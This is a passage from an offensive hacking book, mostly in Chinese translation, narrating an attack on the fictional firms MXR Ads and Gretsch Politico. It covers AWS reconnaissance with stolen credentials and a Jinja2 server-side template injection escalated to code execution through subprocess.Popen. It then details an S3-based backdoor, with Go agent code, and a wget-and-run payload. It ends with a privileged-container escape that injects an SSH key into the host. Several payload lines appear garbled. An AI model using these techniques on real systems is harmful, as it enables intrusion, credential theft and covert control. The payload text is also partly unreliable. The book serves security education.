One option is to go nuts and try every possible AWS API call (there are thousands) until we hit an authorized query, but the avalanche of errors we’d trigger in the process would knock any security team out of their hibernal sleep. By default, most AWS API calls are logged, so it’s quite easy for a company to set up alerts tracking the number of unauthorized calls. And why wouldn’t they? It literally takes a few clicks to set up these alerts via the monitoring service CloudWatch. Plus, AWS provides a service called GuardDuty that automatically monitors and reports all sorts of unusual behaviors, such as spamming 5,000 API calls, so caution is paramount. This is not your average bank with 20 security appliances and a $200K/year outsourced SOC team that still struggles to aggregate and parse Windows events. We need to be clever and reason about it purely from context. For instance, remember that mxrads-dl S3 bucket that made it to this instance’s *user-data*? We could not access that before without credentials, but maybe the demo-role.ec2 role has some S3 privileges that could grant us access? We find out by calling on the AWS API to list MXR Ads’ S3 buckets: ``` # On our attacking machine root@Point1:~/# aws s3api listbuckets --profile demo An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied ``` Okay, trying to list all S3 buckets in the account was a little too bold, but it was worth a shot. Let’s take it back and take baby steps now. Again using the demo-role.ec2 role, we try just listing keys inside the mxrads-dl bucket. Remember, we were denied access earlier without credentials: ``` root@Point1:~/# aws s3api list-objects-v2 --profile demo --bucket mxrads-dl > **list_objects_dl.txt** root@Point1:~/# grep '"Key"' list_objects_dl | sed 's/[",]//g' > **list_keys_dl.txt** root@Point1:~/# head list_keys_dl.txt Key: jar/maven/artifact/com.squareup.okhttp3/logging-interceptor/4.2.2 Key: jar/maven/artifact/com.logger.log/logging-colors/3.1.5 `--snip--` ``` Now we are getting somewhere! We get a list of keys and save them away. As a precaution, before we go berserk and download every file stored in this bucket, we can make sure that logging is indeed disabled on S3 object operations. We call the `get-bucket-logging` API: ``` root@Point1:~/# aws s3api get-bucket-logging --profile demo --bucket mxrads-dl <empty_response> ``` And we find it’s empty. No logging. Perfect. You may be wondering why a call to this obscure API succeeded. Why would an instance profile need such a permission? To understand this weird behavior, have a look at the full list of possible S3 operations at [`docs.aws.amazon.com/`](https://docs.aws.amazon.com/). Yes, there are hundreds of operations that can be allowed or denied on a bucket. AWS has done a spectacular job defining very fine-grained permissions for each tiny and sometimes inconsequential task. No wonder most admins simply assign wildcard permissions when setting up buckets. A user needs read-only access to a bucket? A `Get*` will do the job; little do they realize that a `Get*` implies 31 permissions on S3 alone! `GetBucketPolicy` to get the policy, `GetBucketCORS` to return CORS restrictions, `GetBucketACL` to get the access control list, and so forth. Bucket policies are mostly used to grant access to foreign AWS accounts or add another layer of protection against overly permissive IAM policies granted to users. A user with an `s3:*` permission could therefore be rejected with a bucket policy that only allows some users or requires a specific source IP. Here we attempt to get the bucket policy for mxrads-dl to see if it does grant access to any other AWS accounts: ``` root@Point1:~/# aws s3api get-bucket-policy --bucket mxrads-dl { "Id": "Policy1572108106689", "Version": "2012-10-17", "Statement": [ { "Sid": "Stmt1572108105248", "Action": [ "s3:List*", " s3:Get*" ], "Effect": "Allow", "Resource": "arn:aws:s3:::mxrads-dl", "Principal": { 1 "AWS": "arn:aws:iam::983457354409:root" } }] } ``` This policy references the foreign AWS account 983457354409 1. This account could be Gretsch Politico, an internal MXR Ads department with its own AWS account, or a developer’s personal account for that matter. We cannot know for sure, at least not yet. We’ll note it for later examination. ### Examining the Key List We go back to downloading the bucket’s entire key list and dive into the heap, hoping to find sensitive data and get an idea of the bucket’s purpose. We have an impressive number of public binaries and *.jar* files. We find a collection of the major software players with different versions, such as Nginx, Java collections, and Log4j. It seems they replicated some sort of public distribution point. We find a couple of bash scripts that automate the `docker login` command or provide helper functions for AWS commands, but nothing stands out as sensitive. From this, we deduce that this bucket probably acts as a corporate-wide package distribution center. Systems and applications must use it to download software updates, packages, archives, and other widespread packages. I guess not every public S3 is an El Dorado waiting to be pilfered. We turn to the *user-data* script we pulled earlier hoping for additional clues about services to query, but find nothing out of note. We even try a couple of AWS APIs with the demo role credentials to common services like EC2, Lambda, and Redshift out of desperation, only to get that delicious error message back. How frustrating it is to have valid keys yet stay stranded at the front door simply because there are a thousand keyholes to try . . . but that’s just the way it is sometimes. As with most dead ends, the only way forward is to go backward, at least for a while. It’s not like the data we gathered so far is useless; we have database and AWS credentials that may prove useful in the future, and most of all, we gained some insight into how the company handles its infrastructure. We only need a tiny spark to ignite for the whole ranch to catch fire. We still have close to a hundred domains to check. We will get there. ## Resources * See this short introduction to Burp if you are not familiar with the tool: [`bit.ly/2QEQmo9`](http://bit.ly/2QEQmo9)*.* * Check out the progressive capture-the-flag exercises at [`flaws.cloud/`](http://flaws.cloud/) to get you acquainted with basic cloud-hacking reflexes. * CloudBunny and fav-up are tools that can help you bust out the IP addresses of services hiding behind CDNs: [`github.com/Warflop/CloudBunny/`](https://github.com/Warflop/CloudBunny/)and [`github.com/pielco11/fav-up/`](https://github.com/pielco11/fav-up/)*.* * You can read more about techniques to uncover bucket names at the following links: [`bit.ly/36KVQn2`](http://bit.ly/36KVQn2) and [`bit.ly/39Xy6ha`](http://bit.ly/39Xy6ha). * The difference between CNAME and ALIAS records is discussed at [`bit.ly/2FBWoPU`](http://bit.ly/2FBWoPU). * This website lists a number of open S3 buckets if you’re in for a quick hunt: [`buckets.grayhatwarfare.com/`](https://buckets.grayhatwarfare.com/)*.* * More information on S3 bucket policies can be found here: [`amzn.to/2Nbhngy`](https://amzn.to/2Nbhngy)*.* * Further reading on WebSockets is available at [`bit.ly/35FsTHN`](http://bit.ly/35FsTHN). * Check out this blog about IMDSv2: [`go.aws/35EzJgE`](https://go.aws/35EzJgE).*

第三部分

全身心投入

缺乏舒适感意味着我们正站在新见解的门槛上。

劳伦斯·克劳斯

第六章:Fracture

到目前为止,我们已经获得了一些 MXR Ads 的凭证,并且揭示了 MXR Ads 和 GP 处理其基础设施的主要方式,但我们不确定如何处理这些发现。我们仍然有许多机会去探索,因此我们回到原点:我们在第四章中确认的少数几个 GP 和 MXR Ads 网站(见清单 4-3)。在第五章中,我们凭直觉追踪了最具吸引力的资源——S3 桶,最终发现了一个服务器端请求伪造(SSRF)漏洞。但现在,我们将采取更稳妥、更艰苦的方法。

我们将浏览每个网站,跟踪每个链接,检查每个参数,甚至使用像 LinkFinder(github.com/GerbenJavado/LinkFinder/)这样的工具收集 JavaScript 文件中的隐藏链接。为此,我们将把精心挑选的特殊字符注入到表单和字段中,直到触发异常反应,比如明确的数据库错误、404(页面未找到)错误,或者意外重定向到主页。

我们将依赖 Burp 来悄悄捕获所有发送到服务器的参数。这个操作高度依赖于网站背后的网络框架、编程语言、操作系统和其他几个因素,因此,为了简化过程,我们将注入以下有效载荷,并将输出与应用程序的正常响应进行比较:

dddd",'|&$;:`({{@<%=ddd

这个字符串覆盖了不同框架中最明显的注入漏洞:(无)SQL、系统命令、模板、轻量级目录访问协议(LDAP),以及几乎所有使用特殊字符扩展查询接口的组件。dddd部分像一个标签,作为一些易于发现的文本,帮助我们在页面响应中直观地定位有效载荷。页面对这个字符串做出轻微异常反应(比如错误页面、奇怪的重定向、截断的输出,或者输入参数以奇怪的方式反映在页面上),都是值得进一步调查的有前景线索。如果网页返回了一个无害的响应,但似乎以某种方式转换或过滤了输入,我们可以通过更先进的有效载荷进一步探测,比如添加逻辑运算符(AND 1=0)、指向真实文件位置、尝试实际命令等等。

我们开始将这个有效载荷注入到我们列表中每个网站的表单中。不久,我们到达了网址 www.surveysandstats.com,这是一个臭名昭著的网站,用来收集并探查人们的个性数据,我们在第四章中揭示了这个网站。这里有许多字段可以注入我们的放荡字符串。我们将其输入到一个表单中,点击提交,接着看到令人愉快的错误页面,如图 6-1 所示。

f06001

图 6-1:Surveysandstats.com 对我们的字符串注入做出反应

啊哈!这就是让黑客兴奋不已的那种错误。我们转向 Burp,再次提交表单,这次使用完全无害的调查问题回答,且没有任何特殊字符,仅仅是简单的英文,以确保表单正常工作(见图 6-2)。表单正常工作时,应该会发送一封电子邮件确认。

f06002

图 6-2:Burp 中的常规表单提交

果然,几秒钟后,我们收到了带有调查结果的电子邮件(见图 6-3)。

f06003

图 6-3:来自我们正常调查提交的电子邮件回复

调查表运行得很好,这意味着第一次崩溃页面的确很可能是因为我们的有效载荷中某个特殊字符。为了确认是哪个字符,我们重新提交之前的正常表单条目,每次添加一个特殊字符,直到我们确定嫌疑字符:{{(双大括号)。我们很可能正在处理服务器端模板注入(SSTI),因为模板通常依赖于双大括号。

服务器端模板注入

在许多 Web 开发框架中,模板是简单的 HTML 文件,并带有一些特殊变量,这些变量在运行时会被动态值替换。以下是一些在各种框架中使用的特殊变量:

# Ruby templates
<p>
<%= @product %>
</p>
# Play templates (Scala/Java)
<p>
Congratulations on product @product
</p>
# Jinja or Django templates
<p>
Congratulations on product {{product}}
</p>

Web 项目的前端(HTML/JavaScript 中的可视化)和后端(Python/Ruby/Java 中的控制器或模型)之间的分离是许多开发框架乃至许多团队组织的基石。当模板本身是通过不受信任的输入动态构建时,问题就开始了。比如以下代码,它通过render_template_string函数生成动态模板,而该函数本身是通过用户输入构建的:

`--snip--`
template_str = """
    <div>
        <h1>hello</h1>
 <h3>%s</h3>
    </div>
     """ % user_input

return render_template_string(template_str)

在这段 Python 代码中,如果我们在user_input变量中注入一个有效的模板指令,如{{8*2}},它将通过render_template_string方法计算为 16,这意味着页面将显示结果16。问题在于,每个模板引擎都有自己独特的语法,因此并不是所有的模板引擎都会这样进行计算。有些模板引擎允许你读取文件并执行任意代码,而其他的则甚至不允许你进行简单的乘法运算。

这就是为什么我们首先要做的事情是收集更多有关该潜在漏洞的信息。我们需要弄清楚正在使用的是什么语言以及运行的是什么框架。

框架指纹识别

自从 James Kettle 在 2015 年 Black Hat USA 大会上展示 SSTI 以来,他的著名图表描绘了识别模板框架的方法,几乎在每一篇关于该漏洞的文章中都能看到,包括在图 6-4 中。为了探索它是如何工作的,我们将在调查表中输入一些不同的表达式,看看它们是如何被执行的。

f06004

图 6-4:不同的 SSTI 载荷用于指纹识别模板框架

我们发送载荷{{8 * '2'}},并收到一封电子邮件,邮件内容是字符串2重复八次,如图 6-5 所示。这种行为是典型的 Python 解释器行为,而不像 PHP 环境,后者会打印16

# Payload

{{8*'2'}} # Python: 22222222, PHP: 16

{{8*2}} # Python: 16, PHP: 16

f06005

图 6-5:输入8 * '2'的典型 Python 输出

从中我们很快得出结论,我们可能正在处理 Python 环境中著名的 Jinja2 模板。Jinja2 通常运行在两大主流 Web 框架之一:Flask 或 Django 上。曾几何时,通过快速查看“服务器”HTTP 响应头就能知道是哪一个。不幸的是,现在没有人再将 Flask/Django 应用程序裸露在互联网上了。它们通常通过 Apache 和 Nginx 服务器,或者在这个案例中,通过覆盖原始服务器指令的 AWS 负载均衡器。

不用担心。有一个快速的载荷可以在 Flask 和 Django Jinja2 模板中都有效,而且它非常好用:request.environ。在这两个框架中,这个 Python 对象包含有关当前请求的信息:HTTP 方法、头信息、用户数据,最重要的是,应用加载的环境变量。

# Payload

email=davidshaw@pokemail.net&user={{request.environ}}...

图 6-6 展示了我们从这个载荷获得的响应。

f06006

图 6-6:来自request.environ的响应

Django 字面上出现在PYENV_DIR路径中。中奖了。这个应用程序的开发者似乎决定用更强大的 Jinja2 模板框架替代默认的 Django 模板引擎。这对我们来说是幸运的,因为虽然 Jinja2 支持 Python 表达式和操作的一个子集,使其在性能和生产力方面更具优势,但这种灵活性是有代价的:我们可以操作 Python 对象、创建列表、调用函数,甚至在某些情况下加载模块。

任意代码执行

几乎让人忍不住想提前跳跃,尝试通过像{{os.open('/etc/passwd')}}这样的载荷来访问密码文件,但那是行不通的。os对象很可能在当前应用程序的上下文中未定义。我们只能与在渲染响应的页面中定义的 Python 对象和方法交互。我们之前访问过的request对象是 Django 自动传递给模板的,因此我们可以自然地检索它。os模块?极不可能。

但是,幸运的是,大多数现代编程语言都为我们提供了某种程度的内省和反射——反射是指程序、对象或类能够检查自身的能力,包括列出自己的属性和方法、改变其内部状态等。这是许多高级语言(如 C#、Java、Swift)中的常见特性,而 Python 也不例外。任何 Python 对象都包含属性以及指向其自身类属性和父类属性的指针。

例如,我们可以使用__class__属性获取任何 Python 对象的类,它返回一个有效的 Python 对象,引用该类:

# Payload

email=davidshaw@pokemail.net&user=`{{request__class__ }}`...

<class 'django.core.handlers.wsgi.WSGIRequest'>

该类本身是一个更高层次的 Python 对象的子类,名为django.http.request.HttpRequest。我们甚至不需要阅读文档来发现这一点;它直接写在对象内部,在__base__变量里,我们可以通过这个有效载荷看到这一点:

# Payload

email=davidshaw@pokemail.net&user={{request.__class__.`__base__`}}...
<class 'django.http.request.HttpRequest'>

email=davidshaw@pokemail.net&user={{request.__class__.__base__.`__base__`}}...
<class 'object'> 1

我们继续沿着继承链向上爬升,将__base__添加到有效载荷中,直到到达最顶层的 Python 对象 1——所有类的父类:objectobject类本身没有任何用处,但像所有其他类一样,它也包含对其子类的引用。因此,在沿着链向上爬升后,现在是时候使用__subclasses__方法向下爬升了:

# Payload

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__`.__subclasses__()`}}...

[<class 'type'>,
 <class 'dict_values'>,
 <class 'django.core.handlers.wsgi.LimitedStream'>,
 <class 'urllib.request.OpenerDirector'>,
 <class '_frozen_importlib._ModuleLock'>,
 <class 'subprocess.Popen'>,1
`--snip--`
 <class 'django.contrib.auth.models.AbstractUser.Meta'>,
]

超过 300 个类出现在这里。这些是所有直接从object类继承并由当前 Python 解释器加载的类。

我希望你已经注意到subprocess.Popen类 1!这是用于执行系统命令的类。我们可以立即在这里调用该对象,通过引用它在子类列表中的偏移量,在这个特定情况下它是第 282 个(通过手动计数得出的)。我们可以使用communicate方法捕获env命令的输出:

# Payload

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__.__subclasses__()
`282.communicate()[0]`}}...

A couple of seconds later, we receive an email spilling out the environment variables of
the Python process running on the machine:
PWD=/opt/`django`/surveysapp
PYTHON_GET_PIP_SHA256=8d412752ae26b46a39a201ec618ef9ef7656c5b2d8529cdcbe60cd70dc94f40c
KUBERNETES_SERVICE_PORT_HTTPS=443
HOME=/root
`--snip--`

我们刚刚实现了任意代码执行!让我们看看我们能用什么。所有 Django 设置通常都在一个名为settings.py的文件中声明,该文件位于应用程序的根目录。这个文件可以包含从简单的管理员电子邮件声明到秘密 API 密钥的任何内容。从环境变量中我们知道应用程序的完整路径是/opt/Django/surveysapp,而settings文件通常位于该路径下一级目录(同名)。在列表 6-1 中,我们尝试访问它。

# Payload

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__.__subclasses__()
282.communicate()[0]}}...

BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
SERVER_EMAIL = "no-replay@sureveysandstats.com"
SES_RO_ACCESSKEY = "AKIA44ZRK6WSSKDSKJPV" 1
SES_RO_SECRETKEY = "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" 2
`--snip--`

列表 6-1:访问surveysandstats.com设置文件

我们获取了 SES 12(简单邮件服务)的凭据,它是一个 AWS 托管的邮件服务,提供 SMTP 网关、POP3 服务器等。这完全是预料之中的,因为应用程序的主要活动是将电子邮件结果发送给候选人。

这些凭证可能具有非常有限的作用范围,比如发送邮件。我们可以尝试发挥创意,利用这个新获得的能力钓鱼攻击一些管理员,但现在,这些凭证将服务于一个更迫切的目标:在我们花更多时间之前,确认 surveysandstats.com 确实属于 MXR Ads 或至少在相同的 AWS 环境中运行。

确认所有者

你可能记得我们在第四章中通过在 Gist 和 Pastebin 上查找公共笔记时,发现了那个可疑的 surveysandstats.com 网站。根据我们目前知道的,它可能是一个与我们的真正目标无关的完全独立的组织。让我们查明真相。首先,我们将尝试获取账户 ID,这只需一次 API 调用,并且不需要任何特殊权限,因此我们可以使用刚刚找到的 SES 密钥。每个默认情况下都有访问此信息的 AWS IAM 用户。在 清单 6-2 中,我们使用了从 清单 6-1 获取的访问密钥 1 和秘密密钥 2 来获取账户 ID。

root@Point1:~/# vi ~/.aws/credentials
[ses]
aws_access_key_id = **AKIA44ZRK6WSSKDSKJPV**
aws_secret_access_key = **M0pQIv3FlDXnbyNFQurMZ9ynxD0gdNkRUP1r0o3Z**

root@Point1:~/# aws sts get-caller-identity --profile ses
{
  "UserId": "AIDA4XSWK3WS9K6IDDD0V",
  "Account": "886371554408",
  "Arn": "arn:aws:iam::886477354405:user/ses_ro_user"
}

清单 6-2:追踪 surveysandstats.com 账户 ID

正在按计划进行:886371554408 是我们在第五章中找到的与 MXR Ads 演示应用程序相关的相同 AWS 账户 ID。我们成功了!

偷运桶

现在,我们唯一想做的就是植入一个反向 Shell,然后安静地喝着咖啡,同时让一些后期利用插件筛查几 GB 的数据,寻找密码、秘密和其他宝贵的东西。但生活并不总是如此顺利。

当我们尝试从我们在第三章创建的自定义域加载任何文件时,请求始终无法到达目标:

# Payload

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__.__subclasses__()
282.communicate()[0]}}...

`<empty>`

某种过滤器似乎阻止了 HTTP 请求向外界发送。也没关系。我们将尝试反向操作,查询元数据 API 169.254.169.254。这个默认的 AWS 端点帮助我们在第五章的示例应用程序中获取了很多信息。希望它能为我们提供更多的凭证供我们操作……或者不会:

# Payload

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__.__subclasses__()
282.communicate()[0]}}...

`<empty>`

不幸的是,每次我们利用这个 SSTI 漏洞时,都会触发带有命令输出的邮件。可不是一个隐秘的攻击向量。MXR Ads 还真是做得不错,锁住了它的外发流量。虽然这是一个常见的安全建议,但很少有公司敢于在其机器上系统性地实施流量过滤,主要是因为这需要大量的设置来处理一些合法的边缘案例,比如检查更新和下载新包。我们在第五章中遇到的 mxrads-dl 桶现在完全有意义:它必须充当一个本地仓库,镜像所有服务器需要的公共包。这样的环境不容易维护,但在像这样的情况下却是值得的。

不过有一个问题:MXR Ads 是如何明确允许流量访问 mxrads-dl 存储桶的呢?安全组(AWS 防火墙规则)是第 4 层组件,只能识别 IP 地址,而 S3 存储桶的 IP 地址可能会发生变化,这取决于许多因素。那么,surveysandstats.com网站是如何仍然能够访问 mxrads-dl 存储桶,却无法向互联网的其他部分发送数据包的呢?

一种可能的解决方案是将 S3 在给定区域的所有 IP 范围列入白名单,例如 52.218.0.0/17、54.231.128.0/19 等。然而,这种方法不仅丑陋,而且非常不稳定,勉强能完成任务。

一个更具可扩展性且适应云环境的方法是创建一个 S3 VPC 端点(详见docs.aws.amazon.com/glue/latest/dg/vpc-endpoints-s3.html)。这比听起来简单:虚拟私有云(VPC)是一个与外界隔离的私有网络,企业在其中运行自己的机器。它可以被划分为多个子网,就像任何普通的路由器接口一样。AWS 可以将一个特殊的端点 URL 插入到这个 VPC 中,该 URL 会将流量路由到其核心服务,比如 S3。机器不会通过互联网访问 S3,而是会联系这个特殊的 URL,流量通过亚马逊的内部网络被传递到 S3。这样,与其在外部 IP 地址上设置白名单,不如简单地将 VPC 的内部地址范围(10.0.0.0/8)加入白名单,从而避免任何安全问题。

但问题的关键在于细节,因为 VPC 端点仅关注机器试图访问的 AWS 服务。它并不关心存储桶或文件。存储桶甚至可能属于另一个 AWS 账户,但流量仍然会通过 VPC 端点流向目标!因此,从技术上讲,即使 MXR Ads 似乎封锁了调查应用程序与互联网的连接,我们仍然可以偷偷地向自己 AWS 账户中的存储桶发出请求,并让该应用程序运行我们控制的文件。让我们来测试这个理论。

我们将上传一个名为beaconTest.html的虚拟 HTML 文件到我们的某个存储桶,并通过授予GetObject权限给所有人,使其公开。

我们首先创建一个名为 mxrads-archives-packets-linux 的存储桶:

root@Point1:~/# aws s3api create-bucket \
**--bucket mxrads-archives-packets-linux \**
**--region=eu-west-1 \**
**--create-bucket-configuration \**
**LocationConstraint=eu-west-1**

接着,我们将一个虚拟文件上传到我们的存储桶并命名为beaconTest.html

root@Point1:~/# aws s3api put-object \
**--bucket mxrads-archives-packets-linux \**
**--key beaconTest.html \**
**--body beaconTest.html**

然后,我们将该文件设为公开:

root@Point1:~/# aws s3api put-bucket-policy \
**--bucket mxrads-archives-packets-linux \**
**--policy file://<(cat <<EOF**
**{**
 **"Id": "Policy1572645198872",**
 **"Version": "2012-10-17",**
 **"Statement": [**
 **{**
 **"Sid": "Stmt1572645197096",**
 **"Action": [**
 **"s3:GetObject", "s3:PutObject"**
 **],**
 **"Effect": "Allow",**
 **"Resource": "arn:aws:s3:::mxrads-archives-packets-linux/*",**
 **"Principal": "*"**
 **}**
 **]**
**}**
**EOF)**

最后,我们开始通过surveysandstats.com网站获取beaconTest.html文件。如果一切按预期工作,我们应该会收到虚拟 HTML 内容的响应:

# Payload to the surveysandstats site form

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__.__subclasses__()
282.communicate()[0]}}...

# Results in email
<html>hello from beaconTest.html</html>

这虽然是个长远的尝试,但确实值得!我们找到了一个可靠的方式,可以从这个完全封闭的调查应用程序与外界进行通信。通过使用 S3 文件,我们现在可以设计一个准互动协议,在这个隔离的机器上执行代码。

使用 S3 的质量后门

我们将开发一个代理-操作员系统,以便轻松执行代码并在surveysandstatsmachine上获取输出。我们服务器上的第一个程序,被称为操作员,将命令写入一个名为hello_req.txt的文件。运行在调查网站上的第二个程序——代理——每隔几秒钟会获取一次hello_req.txt文件,执行其内容,并将结果上传到 S3 上的hello_resp.txt文件。我们的操作员将定期检查这个文件并打印其内容。这个交换过程在图 6-7 中有所展示。

f06007

图 6-7:通过 S3 文件执行命令

操作员将拥有对mxrads-archives-packets-linux桶的完全访问权限,因为它将在我们自己信任的服务器上运行,并且具有所需的 AWS 凭证。代理只需要对hello_resp.txt文件具有PutObject权限,并对hello_req.txt文件具有GetObject权限。这样,即使分析师靠得太近,他们也只能看到最后发送的命令,而无法看到实际的响应。

我已经在 GitHub 上提供了操作员和代理的基本实现,地址是github.com/HackLikeAPornstar/GreschPolitico/tree/master/S3Backdoor/,如果你想进行实验、调整或为其添加更多功能,可以随意操作。接下来的章节中我们将回顾一些代码的亮点。

创建代理

正如你可能从仓库中一瞥中注意到的,我决定用 Golang 编写代理,因为它运行速度快,生成的是静态链接的可执行文件,并且比 C/C++更高效、友好。main函数设置所需的变量,如文件名和 HTTP 连接器,然后进入主循环,如清单 6-3 所示。

func main() {
  reqURL := fmt.Sprintf("https://%s.s3.amazonaws.com/%s_req.txt", *bucket, *key)
  respURL := fmt.Sprintf("https://%s.s3.amazonaws.com/%s_resp.txt", *bucket, *key)

  client := &http.Client{}

清单 6-3:设置代理变量

我们与 S3 的交互将通过 HTTP REST 查询(GET 用于获取内容,PUT 用于上传数据)进行,以避免与机器角色产生任何奇怪的权限重叠。有关适当的 S3 策略,请参见本书的资源:nostarch.com/how-hack-ghost/

在清单 6-4 中,我们通过每两秒执行一次fetchData方法,设置代理从reqURL下载要执行的数据。

 for {
   time.Sleep(2 * time.Second)
   cmd, etag, err = fetchData(client, reqURL, etag)
`--snip--`
   go func() {
       output := execCmd(cmd)
       if len(output) > 0 {
          uploadData(client, respURL, output)
       }
   }()
 }

清单 6-4:下载数据

如果自上次访问以来文件已被修改(HTTP 状态码 200 表示已修改),那么新的命令将通过execCmd方法可供执行。否则,我们会收到 HTTP 304(未修改)响应,并在几秒钟后悄悄重试。

结果随后将通过uploadData方法返回到桶中。下一个部分(见清单 6-5)创建了uploadData方法。

func uploadData(client *http.Client, url string, data []byte) error {

 req, err := http.NewRequest("PUT", url, bytes.NewReader(data))
 req.Header.Add("x-amz-acl", "bucket-owner-full-control")
 _, err = client.Do(req)
 return err
}

清单 6-5:代理的uploadData方法

uploadData方法是一个经典的 HTTP PUT 请求,但这里有一个小的额外细节:x-amz-acl头部。这个头部指示 AWS 将上传文件的所有权转移到目标桶的所有者,即我们。如果没有这个头部,文件将保持原来的所有权,我们将无法使用 S3 API 来检索它。如果你对execCmdfetchDatauploadData函数的实现感兴趣,别犹豫,去看看书本 GitHub 仓库里的代码。

编写此类代理程序的第一个关键要求是稳定性。我们将其投放到敌方阵地,因此需要妥善处理所有错误和边缘情况。错误的异常可能导致代理崩溃,从而失去我们的远程访问权限。谁知道模板注入漏洞第二天还会不会存在呢?

Golang 通过从一开始就不引入异常来处理异常。大多数调用返回一个错误代码,在继续之前应该检查该错误代码。只要我们严格遵循这一做法,并且遵守其他一些良好的编码习惯,比如在解引用之前检查空指针,我们应该相对安全。其次是并发性。我们不希望因为程序在执行一个find命令而导致代理的资源消耗 20 分钟,进而使程序崩溃。这就是为什么我们将execCmduploadData方法封装在一个 goroutine 中(前缀go func()...)。

将 goroutine 看作是与其余代码并行执行的一组指令。所有的 goroutine 共享与主程序相同的线程,从而节省了一些数据结构和通常由内核在从一个线程切换到另一个线程时所做的昂贵的上下文切换。为了给你一个实际的对比,goroutine 分配大约 4KB 的内存,而操作系统线程大约需要 1MB。你可以在一台普通计算机上轻松运行数十万个 goroutine 而不会出现问题。

我们将源代码编译成一个名为runcdd的可执行文件,并将其上传到我们的 S3 桶中,它将静静地待在那里,随时待命:

root@Point1:~/# git clone **https://github.com/HackLikeAPornstar/GreschPolitico**
root@Point1:~/# cd S3Backdoor/S3Agent
root@Point1:~/# go build -ldflags="-s -w" -o ./runcdd main.go
root@Point1:~/# aws s3api put-object \
**--bucket mxrads-archives-packets-linux \**
**--key runcdd \**
**--body runcdd**

Go 的一些令人烦恼的地方之一是,它会将最终的二进制文件膨胀,包含符号、文件路径以及其他敏感数据。我们使用-s标志去除一些符号,使用-w去除调试信息,但要知道,分析人员仍然可以挖掘出关于用于生成此可执行文件的环境的很多信息。

创建操作符

操作符部分遵循非常相似但相反的逻辑:它推送命令并获取结果,同时模仿交互式 Shell。你将会在相同的仓库中找到这次使用 Python 编写的代码:

root@Point1:~/S3Op/# python main.py
Starting a loop fetching results from S3 mxrads-archives-packets-linux
Queue in commands to be executed
shell>

我们访问我们的易受攻击的表单surveysandstats.com,并提交以下有效载荷来下载并运行代理:

# Payload to the surveysandstats site form

email=davidshaw@pokemail.net&user={{request.__class__.__base__.__base__.__subclasses__()
282.communicate()[0]}}...

解码后的有效载荷是多行的:

wget https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/runcdd
chmod +x runcdd
./runcdd &

然后我们在机器上运行操作符:

root@Point1:~S3Fetcher/# python main.py
Starting a loop fetching results from S3 mxrads-archives-packets-linux

New target called home d5d380c41fa4
shell> **id**
Will execute id when victim checks in

1 uid=0(root) gid=0(root) groups=0(root)

这花了一些时间,但我们终于在 MXR Ads 的受信环境内拥有了一个可用的 Shell 1。让乐趣开始吧。

尝试突破

我们最终进入了 MXR Ads 的一个受欢迎的 VPC 内的服务器,并获得了 root 访问权限……还是说我们真的有呢?现在还有人敢以 root 身份运行生产应用程序吗?很可能,我们实际上只是进入了一个容器,而这个命名空间中的“root”用户被映射到了主机上的某个随机非特权用户 ID。

验证我们假设的一个快捷方法是仔细查看 PID 编号为 1 的进程:检查其命令行属性、cgroups 和挂载的文件夹。我们可以在/proc文件夹中查看这些不同的属性——这是一个虚拟文件系统,存储着关于进程、文件句柄、内核选项等的信息(参见列表 6-6)。

shell> **id**
uid=0(root) gid=0(root) groups=0(root)

shell> **cat /proc/1/cmdline**
/bin/sh

shell> **cat /proc/1/cgroup**
11:freezer:/docker/5ea7b36b9d71d3ad8bfe4c58c65bbb7b541
10:blkio:/docker/5ea7b36b9d71d3ad8bfe4c58c65bbb7b541dc
9:cpuset:/docker/5ea7b36b9d71d3ad8bfe4c58c65bbb7b541dc
`--snip--`

shell> **cat /proc/1/mounts**
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/6CWK4O7ZJREMTOZGIKSF5XG6HS

列表 6-6:列出/proc文件夹中 PID 为 1 的进程的属性

我们可以继续,但从 cgroup 名称和挂载点中提到 Docker 来看,我们显然已经被困在一个容器里。此外,在典型的现代 Linux 系统中,启动第一个进程的命令应该类似于/sbin/init/usr/lib/systemd,而不是/bin/sh

即使在容器内是 root 用户,仍然可以安装软件包并访问 root 保护的文件,但我们只能对属于我们狭窄且非常有限命名空间的资源行使这种权力。

进入容器后,第一个反应就是检查是否在特权模式下运行。

检查特权模式

特权执行模式下,Docker 仅充当一个打包环境:它保持命名空间隔离,但允许广泛访问所有设备文件,如硬盘,以及所有 Linux 功能(更多内容请见下一节)。

因此,容器可以更改主机系统上的任何资源,如内核特性、硬盘、网络等。如果我们发现自己处于特权模式下,我们可以直接挂载主分区,在任意主目录中插入一个 SSH 密钥,并在主机上打开一个新的管理员 Shell。以下是在实验室中为说明目的展示的概念验证:

# Demo lab
root@DemoContainer:/# ls /dev
autofs           kmsg                ppp       tty10
bsg              lightnvm            psaux     tty11
`--snip--`
# tty devices are usually filtered out by cgroups, so we must be inside a privileged container

root@DemoContainer:/# fdisk -l
Disk /dev/dm-0: 23.3 GiB, 25044189184 bytes, 48914432 sectors
Units: sectors of 1 * 512 = 512 bytes
`--snip--`

# mount the host's main partition
root@DemoContainer:/# mount /dev/dm-0 /mnt && ls /mnt
bin   dev  home lib  lost+found  mnt  proc...

# inject our SSH key into the root home folder
root@DemoContainer:/# echo "ssh-rsa AAAAB3NzaC1yc2EA..." > /mnt/root/.ssh/authorized_keys

# get the host's IP and SSH into it
root@DemoContainer:/# ssh root@172.17.0.1

root@host:/#

你可能会认为没有人敢在特权模式下运行容器,特别是在生产环境中,但生活总是充满惊喜,有些人可能确实需要这样做。例如,某个开发者可能需要调整一个像 TCP 超时值这样的简单设置(一个内核选项)。为此,开发者自然会浏览 Docker 文档,并找到sysctl Docker 标志,它实际上是在容器内运行sysctl命令。然而,当执行该命令时,除非以特权模式调用,否则该命令当然无法更改内核的 TCP 超时选项。让容器进入特权模式是一个安全风险这一事实,甚至不会引起这个开发者的注意——sysctl可是 Docker 文档中正式支持的标志,天哪!

Linux 功能

